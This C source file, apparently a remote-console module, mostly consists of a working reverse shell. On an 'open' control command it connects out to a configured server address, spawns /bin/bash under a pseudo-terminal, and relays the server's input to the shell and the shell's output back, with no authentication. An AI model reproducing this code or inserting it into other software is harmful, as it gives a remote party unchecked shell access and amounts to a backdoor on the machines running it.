#include "http_consolepush.h"
#include "common.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/select.h>
#include <pty.h> // for openpty
#include <termios.h>
#include <sys/types.h>
#include <signal.h>
#include "pthrpoll.h"

void contril_pthread_open();
void contril_pthread_close();

ThreadPool_t *g_pool_control_push_t;

const control_push_t *g_control_push_config = NULL;

const control_push_t g_control_push_configs[]={
    {
        .control_push_index = "open",
        .control_push_pthread_open = contril_pthread_open,
        .control_push_pthread_close = NULL
    },
    {
        .control_push_index = "close",
        .control_push_pthread_open = NULL,
        .control_push_pthread_close =contril_pthread_close
    },
    // 结束标记
    { .control_push_index = NULL }
};

void connect_and_run_shell() {
    int sock = 0;
    struct sockaddr_in serv_addr;

    // --- 连接到服务器 ---
    while (1) {
        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            perror("Socket creation error");
            sleep(5);
            continue;
        }
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(SERVER_PORT);
        if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) {
            perror("Invalid address");
            close(sock);
            sleep(5);
            continue;
        }
        if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
            fprintf(stderr, "Connection Failed: %s. Retrying in 5s...\n", strerror(errno));
            close(sock);
            sleep(5);
            continue;
        }
        fprintf(stderr, "Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
        break; // 连接成功，跳出循环
    }

    // --- 创建伪终端 (pty) 并启动 Shell ---
    int master_fd;
    pid_t pid = forkpty(&master_fd, NULL, NULL, NULL);

    if (pid < 0) {
        perror("forkpty");
        close(sock);
        return;
    } 
    else if (pid == 0) { // 子进程
        // 用 /bin/bash 替换当前子进程
        //execlp("/bin/bash", "bash", NULL);
        // 在 execlp 之前，设置环境变量
        setenv("TERM", "dumb", 1); 
        // 然后执行
        execlp("/bin/bash", "bash", NULL);
        // 如果 exec 返回，说明出错了
        perror("execlp");
        exit(1);
    }

    // --- 父进程：数据中继 ---
    fd_set read_fds;
    while (1) {
        FD_ZERO(&read_fds);
        FD_SET(sock, &read_fds);         // 监听来自服务器的命令
        FD_SET(master_fd, &read_fds);    // 监听来自 Shell 的输出

        int max_fd = (sock > master_fd) ? sock : master_fd;

        if (select(max_fd + 1, &read_fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }

        char buffer[BUFFER_SIZE];
        ssize_t bytes_read;

        // 检查是否有来自服务器的数据
        if (FD_ISSET(sock, &read_fds)) {
            bytes_read = read(sock, buffer, sizeof(buffer));
            if (bytes_read <= 0) {
                fprintf(stderr, "Server disconnected.\n");
                break; // 服务器断开
            }
            // 将命令写入 Shell
            write(master_fd, buffer, bytes_read);
        }

        // 检查是否有来自 Shell 的输出
        if (FD_ISSET(master_fd, &read_fds)) {
            bytes_read = read(master_fd, buffer, sizeof(buffer));
            if (bytes_read <= 0) {
                fprintf(stderr, "Shell process terminated.\n");
                break; // Shell 进程结束
            }
            // 将 Shell 输出发送到服务器
            if (send(sock, buffer, bytes_read, 0) < 0) {
                fprintf(stderr, "Failed to send data to server.\n");
                break;
            }
        }
    }

    // --- 清理 ---
    close(sock);
    close(master_fd);
    kill(pid, SIGKILL); // 确保子进程被杀死
}

void contril_pthread_open(){
    g_pool_control_push_t = thread_pool_init(1,1);
    thread_pool_add_task(g_pool_control_push_t , connect_and_run_shell, NULL);
    
}

void contril_pthread_close(){
    if ( g_pool_control_push_t == NULL) {  
        return; // 已销毁或无效句柄，直接返回
    }else {
        thread_pool_destroy(g_pool_control_push_t);
    }
}

void control_pthread_function(char *string){
    
}
